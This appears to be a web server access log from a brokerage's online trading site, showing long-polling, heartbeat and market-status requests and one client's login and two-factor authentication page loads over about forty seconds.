[09/Jan/2026:09:25:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922186838 HTTP/1.1" -
[09/Jan/2026:09:25:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922175187 HTTP/1.1" -
[09/Jan/2026:09:25:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922174055 HTTP/1.1" -
[09/Jan/2026:09:25:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/login.html HTTP/1.1" 1752
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161913 HTTP/1.1" 85
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:09:25:06 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:09:25:06 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:09:25:06 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:06 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767922175722 HTTP/1.1" 3179
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:25:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922176297 HTTP/1.1" -
[09/Jan/2026:09:25:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922192235 HTTP/1.1" -
[09/Jan/2026:09:25:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922180311 HTTP/1.1" -
[09/Jan/2026:09:25:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922180059 HTTP/1.1" -
[09/Jan/2026:09:25:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922182293 HTTP/1.1" -
[09/Jan/2026:09:25:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922185465 HTTP/1.1" -
[09/Jan/2026:09:25:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922197442 HTTP/1.1" -
[09/Jan/2026:09:25:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922186052 HTTP/1.1" -
[09/Jan/2026:09:25:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922202496 HTTP/1.1" -
[09/Jan/2026:09:25:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922190576 HTTP/1.1" -
[09/Jan/2026:09:25:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922188302 HTTP/1.1" -
[09/Jan/2026:09:25:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922192055 HTTP/1.1" -
[09/Jan/2026:09:25:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:25:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922207555 HTTP/1.1" -
[09/Jan/2026:09:25:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922195744 HTTP/1.1" -
[09/Jan/2026:09:25:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:09:25:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:09:25:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:25:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:25:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922194301 HTTP/1.1" -
[09/Jan/2026:09:25:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 453
[09/Jan/2026:09:25:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/2FA_authentication.html?language=sc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:09:25:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:09:25:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:09:25:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:25:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:25:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:25:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161913 HTTP/1.1" 1953
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161913 HTTP/1.1" 33
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767922196190 HTTP/1.1" 3179
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:09:25:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922212621 HTTP/1.1" -
[09/Jan/2026:09:25:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922200822 HTTP/1.1" -
[09/Jan/2026:09:25:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922198048 HTTP/1.1" -
[09/Jan/2026:09:25:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:25:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:25:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922200288 HTTP/1.1" -
[09/Jan/2026:09:25:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922217683 HTTP/1.1" -
[09/Jan/2026:09:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922205880 HTTP/1.1" -
[09/Jan/2026:09:25:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922204053 HTTP/1.1" -
[09/Jan/2026:09:25:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:25:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922206340 HTTP/1.1" -
[09/Jan/2026:09:25:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922222703 HTTP/1.1" -
[09/Jan/2026:09:25:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922211014 HTTP/1.1" -
[09/Jan/2026:09:25:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922211056 HTTP/1.1" -
